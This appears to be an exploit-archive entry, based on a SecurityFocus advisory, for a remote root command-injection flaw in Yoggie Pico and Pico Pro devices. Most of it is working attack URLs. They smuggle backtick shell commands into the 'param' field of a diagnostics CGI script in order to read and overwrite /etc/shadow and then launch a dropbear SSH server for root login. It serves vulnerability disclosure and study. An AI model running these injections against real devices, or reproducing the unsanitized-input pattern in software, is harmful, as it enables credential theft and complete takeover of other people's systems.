32 lines
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1.8 KiB
Text
32 lines
No EOL
1.8 KiB
Text
source: http://www.securityfocus.com/bid/24743/info
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Yoggie Pico and Pico Pro are prone to a remote code-execution vulnerability because the device fails to sufficiently sanitize user-supplied input.
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An attacker can exploit this issue to execute arbitrary code with superuser privileges. A successful exploit will result in the complete compromise of affected devices.
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When run from a machine with a Yoggie Pico Pro connected,
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yoggie.yoggie.com resolves to the IP of the device, so these links
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will of course not work unless you have a device connected. I didn't
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brute-force the root password, so I explain how you can replace their
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/etc/shadow to set the password to whatever you choose.
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To access the original /etc/shadow:
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https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping¶m=%60cp%20/etc/shadow%20shadow.txt%60
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https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt
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Replace the root password with the password of your choosing, then
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wrap the file in single quotes and urlencode the entire string.
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To replace the original /etc/shadow with your own:
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https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping¶m=%60echo%20<urlencoded
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shadow file>%20%3E%20/etc/shadow%60
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Finally, running dropbear sshd on port 7290 (random choice -- not
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blocked by their firewall rules)
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https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping¶m=%60/usr/sbin/dropbear%20-p%207290%60
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Log in as root with the password chosen, and you now have complete
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control over the device. It's quite powerful little computer, and a
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whole hell of a lot of fun to play around with. A word of advice,
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though -- don't touch libc in any way, shape, or form, as there's no
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reflash mechanism I've found on the device, which is why I now have a
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bricked pico pro sitting on my desk ;) |